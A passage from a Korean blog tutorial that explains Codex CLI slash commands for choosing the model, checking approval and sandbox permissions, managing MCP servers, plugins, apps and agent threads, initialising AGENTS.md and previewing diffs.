&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 계정 전환&amp;middot;보안 정리 위해 인증 해제.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== 섹션 3 ===== --&gt;
&lt;h2 id=&quot;section3&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 모델&amp;middot;승인&amp;middot;권한 (5개)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex가 어느 수준까지 자율로 움직일지를 제어하는 명령들이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음엔 기본값이 낯설 수 있는데, 각 명령이 뭘 하는지 한 번만 파악해두면 의도치 않은 동작을 방지하는 데 도움이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/model &amp;mdash; 모델 선택&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용할 AI 모델을 picker로 고른다. 가벼운 질문은 작은 모델로, 깊은 분석이 필요할 땐 큰 모델로 그때그때 전환할 수 있다. 버전에 따라 같은 화면에서 추론 강도(reasoning effort, 얼마나 깊이 생각할지)까지 함께 조정할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;gams&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/model&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 작업 난도에 맞춰 모델 성향 교체.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1324&quot; data-origin-height=&quot;368&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UBnAT/dJMcaaFmPp0/40FweBkY9bDRn2kG7JkGzk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UBnAT/dJMcaaFmPp0/40FweBkY9bDRn2kG7JkGzk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UBnAT/dJMcaaFmPp0/40FweBkY9bDRn2kG7JkGzk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUBnAT%2FdJMcaaFmPp0%2F40FweBkY9bDRn2kG7JkGzk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1324&quot; height=&quot;368&quot; data-origin-width=&quot;1324&quot; data-origin-height=&quot;368&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/fast &amp;mdash; 빠른 응답 모드 토글&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;빠른 응답을 우선하는 모드를 켜고 끈다. 코드 탐색이나 간단한 질문처럼 답의 정밀도보다 빠른 피드백이 더 중요한 상황에서 유용하다. 복잡한 분석이나 코드 수정처럼 깊은 추론이 필요한 작업에서는 다시 끄는 것을 권장한다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/fast&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 아이디어 발산&amp;middot;로그 훑기 초반 탐색에 좋음. 최종 수정안&amp;middot;릴리즈 판단 전에는 해제 권장.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/permissions &amp;mdash; 승인 정책&amp;middot;샌드박스 보기/변경&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 승인 정책(approval policy)과 샌드박스 수준을 한 화면에서 확인하고 바꾼다. 위험한 작업 전에 가장 먼저 들여다봐야 할 명령이다. 공식 docs에서 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/approvals&lt;/code&gt;가 popup에서 사라졌다고 명시했으므로 신규 사용자는 이쪽을 외운다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/permissions&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 실행 권한 경계 먼저 확인.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1772&quot; data-origin-height=&quot;290&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bvmzm3/dJMcacQFjGh/96fB1p9lesCvpyregDl7ak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bvmzm3/dJMcacQFjGh/96fB1p9lesCvpyregDl7ak/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bvmzm3/dJMcacQFjGh/96fB1p9lesCvpyregDl7ak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbvmzm3%2FdJMcacQFjGh%2F96fB1p9lesCvpyregDl7ak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1772&quot; height=&quot;290&quot; data-origin-width=&quot;1772&quot; data-origin-height=&quot;290&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/sandbox-add-read-dir &amp;mdash; 읽기 가능 경로 추가 &lt;span style=&quot;font-size: 14px; color: #666;&quot;&gt;(Windows)&lt;/span&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 docs에서 &lt;b&gt;Windows 전용&lt;/b&gt;이라고 명시된 명령이다. 워크스페이스 바깥의 디렉터리를 한시적으로 읽기 허용 목록에 추가한다. macOS/Linux 사용자는 동일한 효과를 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--add-dir&lt;/code&gt; CLI 플래그(부록 B)로 처리한다.&lt;/p&gt;
&lt;pre class=&quot;dockerfile&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/sandbox-add-read-dir&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 참조 폴더 읽기 범위 확장 필요.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/experimental &amp;mdash; 실험 기능 토글 메뉴&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;메모리&amp;middot;목표&amp;middot;터미널 리플로우 같은 실험 기능을 그 자리에서 켜고 끄는 토글 메뉴를 연다. config.toml을 직접 손대지 않고 즉시 반영된다. 토글 가능한 항목 표는 섹션 8에서 자세히 다룬다.&lt;/p&gt;
&lt;pre class=&quot;delphi&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/experimental&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 개인 브랜치에서 A/B 테스트 후 채택 판단. 팀 표준 브랜치에서는 비권장.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) Goals 같은 기능은 현재 아직 실험적 단계이다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1748&quot; data-origin-height=&quot;334&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wt3rY/dJMcacpC18S/KJk3RekhLuYIADEE7BzVKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wt3rY/dJMcacpC18S/KJk3RekhLuYIADEE7BzVKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wt3rY/dJMcacpC18S/KJk3RekhLuYIADEE7BzVKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fwt3rY%2FdJMcacpC18S%2FKJk3RekhLuYIADEE7BzVKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1748&quot; height=&quot;334&quot; data-origin-width=&quot;1748&quot; data-origin-height=&quot;334&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;!-- ===== 섹션 4 ===== --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section4&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 도구&amp;middot;맥락 (5개)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에이전트가 쓸 수 있는 도구와 맥락을 관리하는 명령들이다. Codex가 갑자기 모르는 답을 내거나 도구가 안 보일 때 가장 먼저 들여다본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/mention &amp;mdash; 컨텍스트 참조 삽입&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일&amp;middot;앱&amp;middot;플러그인 등 특정 컨텍스트 항목을 메시지에 정확히 박는다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;@&lt;/code&gt; 자동완성과 유사하지만, popup 기반이라 모르는 이름을 검색해서 고를 수 있어 초보자에게 더 친화적이다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/mention&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 특정 리소스&amp;middot;앱 컨텍스트를 정확히 지목.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/mcp &amp;mdash; MCP 서버 상태 보기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;연결된 MCP(Model Context Protocol) 서버 목록과 각 서버에서 노출되는 도구 정보를 본다. 도구가 작동 안 할 때 가장 먼저 의심해야 하는 지점이 MCP 연결 상태다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/mcp&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 도구 서버 연결 상태&amp;middot;기능 범위 확인. 인증 만료&amp;middot;스키마 불일치&amp;middot;권한 부족을 먼저 분리 진단.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;724&quot; data-origin-height=&quot;278&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cwE3R0/dJMcageucNv/m0EbphEqwwmkZkq1W3mbtk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cwE3R0/dJMcageucNv/m0EbphEqwwmkZkq1W3mbtk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cwE3R0/dJMcageucNv/m0EbphEqwwmkZkq1W3mbtk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcwE3R0%2FdJMcageucNv%2Fm0EbphEqwwmkZkq1W3mbtk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;430&quot; height=&quot;165&quot; data-origin-width=&quot;724&quot; data-origin-height=&quot;278&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1702&quot; data-origin-height=&quot;472&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OBzMc/dJMb997up1L/8rRFxB5GqSUkGo4h6PzjsK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OBzMc/dJMb997up1L/8rRFxB5GqSUkGo4h6PzjsK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OBzMc/dJMb997up1L/8rRFxB5GqSUkGo4h6PzjsK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOBzMc%2FdJMb997up1L%2F8rRFxB5GqSUkGo4h6PzjsK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1702&quot; height=&quot;472&quot; data-origin-width=&quot;1702&quot; data-origin-height=&quot;472&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/plugins &amp;mdash; 플러그인 마켓&amp;middot;설치 관리&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치된 플러그인과 마켓플레이스에서 찾을 수 있는 플러그인을 탐색한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;v0.128.0에서 마켓 설치 워크플로가 정식 추가됐다(&lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://github.com/openai/codex/releases/tag/rust-v0.128.0&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;v0.128.0 릴리즈 노트&lt;/a&gt;).&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/plugins&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 플러그인 가용성&amp;middot;작업 적합성 먼저 판단.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1558&quot; data-origin-height=&quot;506&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/boDlqz/dJMcabxrQ5x/bd5qWoJfph7sGdBLqTbwmk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/boDlqz/dJMcabxrQ5x/bd5qWoJfph7sGdBLqTbwmk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/boDlqz/dJMcabxrQ5x/bd5qWoJfph7sGdBLqTbwmk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FboDlqz%2FdJMcabxrQ5x%2Fbd5qWoJfph7sGdBLqTbwmk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1558&quot; height=&quot;506&quot; data-origin-width=&quot;1558&quot; data-origin-height=&quot;506&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/apps &amp;mdash; 앱&amp;middot;커넥터 탐색&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;외부 앱&amp;middot;커넥터를 프롬프트에 끌어다 쓰는 워크플로다. 채팅 결과를 바로 출력하는 명령이 아니라 전체 화면 앱 선택기를 열고, 앱을 고르면 composer에 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;$app-slug&lt;/code&gt; 형태로 삽입한다. 현재 버전에서는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;apps&lt;/code&gt; 기능이 기본 활성화된 환경도 있으므로, 아무 출력이 없어 보이면 Enter로 선택기가 열리는지 먼저 확인한다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/apps&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 외부 서비스 연동 작업 흐름 점검. 앱을 선택한 뒤 프롬프트에 삽입된 mention과 연결 계정이 올바른지 확인.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1794&quot; data-origin-height=&quot;524&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cWmR50/dJMcaja6lTK/dsUaHQ7Of5VXR3WMViUjk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cWmR50/dJMcaja6lTK/dsUaHQ7Of5VXR3WMViUjk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cWmR50/dJMcaja6lTK/dsUaHQ7Of5VXR3WMViUjk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcWmR50%2FdJMcaja6lTK%2FdsUaHQ7Of5VXR3WMViUjk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1794&quot; height=&quot;524&quot; data-origin-width=&quot;1794&quot; data-origin-height=&quot;524&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/agent &amp;mdash; 에이전트 스레드 선택&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미 생성된 메인 스레드와 서브에이전트 스레드 사이를 전환하거나 관찰하는 명령이다. 새 서브에이전트를 직접 호출하는 명령은 아니며, 서브에이전트가 생성된 뒤 해당 작업 흐름을 확인하거나 이어갈 때 사용한다. &lt;br /&gt;현재 서브에이전트가 없으면 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;Main [default]&lt;/code&gt;만 표시될 수 있다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/agent&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 병렬 조사&amp;middot;구현 중 어느 에이전트가 작업 중인지 확인하고, 필요한 스레드로 전환할 때 사용.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex)&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1028&quot; data-origin-height=&quot;228&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6asdf/dJMcabYyTUN/vNKIK1mT4iZmrvk1ere0H1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6asdf/dJMcabYyTUN/vNKIK1mT4iZmrvk1ere0H1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6asdf/dJMcabYyTUN/vNKIK1mT4iZmrvk1ere0H1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6asdf%2FdJMcabYyTUN%2FvNKIK1mT4iZmrvk1ere0H1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1028&quot; height=&quot;228&quot; data-origin-width=&quot;1028&quot; data-origin-height=&quot;228&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== 섹션 5 ===== --&gt;
&lt;h2 id=&quot;section5&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 코드 작업 (4개)&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드 파일을 실제로 읽고 수정하는 명령들이다. 직접 코드에 손을 대는 만큼, 실행 전에 섹션 12의 안전 기본값을 한 번 확인해두는 것이 좋다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/init &amp;mdash; AGENTS.md 초기화&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저장소 루트에 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;AGENTS.md&lt;/code&gt;를 만들거나 보강한다. Codex가 매 세션 자동으로 읽는 파일이라 프로젝트 규칙을 한 번만 적어 두면 다음부터 반복 설명할 필요가 없다. Part 5에서 AGENTS.md 작성법을 다룬다.&lt;/p&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;/init&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #f0f7f0; padding: 10px 14px; border-radius: 4px; border-left: 4px solid #4caf50; margin: 12px 0; font-size: 14px;&quot;&gt;&lt;b&gt;활용&lt;/b&gt; 저장소 규칙&amp;middot;환경 맥락을 시작점에 주입.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;/diff &amp;mdash; 변경 사항 미리 보기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 워킹 트리의 변경 내역을 시각화해서 보여준다. Codex가 방금 만든 변경이 의도와 일치하는지 검증할 때 가장 자주 누르게 되는 명령이다. 큰 변경은 화살표&amp;middot;페이지 키로 스크롤한다.&lt;/p&gt;
